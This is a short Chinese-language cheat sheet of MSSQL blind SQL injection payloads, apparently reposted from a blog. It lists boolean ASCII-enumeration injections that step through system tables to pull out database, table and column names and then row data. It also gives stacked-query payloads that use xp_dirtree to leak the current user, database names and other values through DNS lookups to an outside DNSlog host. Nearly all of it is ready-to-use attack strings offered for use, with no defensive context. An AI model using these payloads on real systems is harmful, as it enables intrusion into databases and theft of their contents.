MSSQL的简单盲注

方式一:遍历ascii码的方式

一、判断数据库类型

and (select count(*) from sysobjects)>0

二、获取数据库

and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)) >= 109

# 第一个

and ascii(substring((select top 1 name from master.dbo.sysdatabases where name

not in ('第一个数据库名', '第二个数据库名',,,,,,’第N-1个数据库名’)),N,1)) >= 56

# 第N个

通过N 判断数据库数量

三、获取表

and ascii(substring((select top 1 name from sysobjects where xtype = 0x75 ),1,1))

>= 80 #第一个

and ascii(substring((select top 1 name from sysobjects where xtype = 0x75 and

name not in ('第一个表名','第二个表名',,,,,,'第N-1个表名')),N,1)) >= 9 #第N个

通过N 判断表数量

四、获取列

and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='表名')),N,1)) >= 65 #第一列

and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='表名') and name

not in ('第一个列名')),N,1)) >= 65 #第N列

通过N 判断列数量

五、获取数据

and ascii(substring((select top 1 列名 from 表名),N,1)) >= 65

方式二:基于DNSlog的盲注方式

示例:

一、 获取当前用户

id=287;declare @a char(128);set @a='\'%2buser%2b'.***.ceye.ioabc';exec master..xp_dirtree @a;--

二、 获取库名

id=287;declare @a char(128);set @a='\'%2b(select top 1 name from master.dbo.sysdatabases)%2b'.***.ceye.ioabc';exec master..xp_dirtree @a;--

三、 获取表名

id=287;declare @a char(128);set @a='\'%2b(select top 1 name from 库名.dbo.sysobjects where xtype=0x75)%2b'.***.ceye.ioabc';exec master..xp_dirtree @a;--

四、 获取列名

id=287;declare @a char(128);set @a='\'%2b(select top 1 列名 from 表名)%2b'.***.ceye.ioab';exec master..xp_dirtree @a;--

 参考链接:https://www.imzzj.com/post-607.html

原文地址:https://www.cnblogs.com/zhaijiahui/p/9714054.html